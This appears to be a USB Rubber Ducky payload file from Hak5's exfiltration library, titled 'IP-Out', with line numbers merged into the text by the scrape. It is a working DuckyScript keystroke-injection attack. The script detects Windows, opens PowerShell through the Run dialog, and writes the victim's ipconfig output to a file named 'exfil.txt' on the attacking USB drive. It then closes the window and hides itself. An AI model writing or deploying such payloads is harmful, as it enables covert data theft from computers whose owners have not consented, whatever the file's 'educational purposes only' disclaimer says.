Path: blob/master/payloads/library/exfiltration/IP-Out/payload.txt
2968 views
REM Title: IP-Out1REM Author: Mavisinator300012REM Description: Opens a powershell window and prints the current IP of the device to a text file in the BadUSB3REM Target: Any Windows System4REM DISCLAIMER!!! Neither I, nor Hak5, condone any unethical hacking practices using this payload... FOR EDUCATIONAL PURPOSES ONLY5DEFINE #DRIVELABEL DUCKY6EXTENSION PASSIVE_WINDOWS_DETECT7REM VERSION 1.18REM AUTHOR: Korben910REM_BLOCK DOCUMENTATION11Windows fully passive OS Detection and passive Detect Ready12Includes its own passive detect ready.13Does not require additional extensions.1415USAGE:16Extension runs inline (here)17Place at beginning of payload (besides ATTACKMODE) to act as dynamic18boot delay19$_OS will be set to WINDOWS or NOT_WINDOWS20See end of payload for usage within payload21END_REM2223REM CONFIGURATION:24DEFINE #MAX_WAIT 15025DEFINE #CHECK_INTERVAL 2026DEFINE #WINDOWS_HOST_REQUEST_COUNT 227DEFINE #NOT_WINDOWS 72829$_OS = #NOT_WINDOWS3031VAR $MAX_TRIES = #MAX_WAIT32WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))33DELAY #CHECK_INTERVAL34$MAX_TRIES = ($MAX_TRIES - 1)35END_WHILE36IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN37$_OS = WINDOWS38END_IF3940REM_BLOCK EXAMPLE USAGE AFTER EXTENSION41IF ($_OS == WINDOWS) THEN42STRING HELLO WINDOWS!43ELSE44STRING HELLO WORLD!45END_IF46END_REM47END_EXTENSION48IF $_OS != WINDOWS49STOP_PAYLOAD50END_IF51ATTACKMODE HID STORAGE52DELAY 50053GUI r54DELAY 30055STRINGLN Powershell56DELAY 100057STRINGLN $driveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_Volume WHERE Label='#DRIVELABEL'").DriveLetter; if ($driveLetter) { ipconfig | Out-File -Filepath "$driveLetter\exfil.txt" -Encoding utf8 }58WAIT_FOR_STORAGE_ACTIVITY59WAIT_FOR_STORAGE_INACTIVITY60ALT F461ATTACKMODE OFF62HIDE_PAYLOAD636465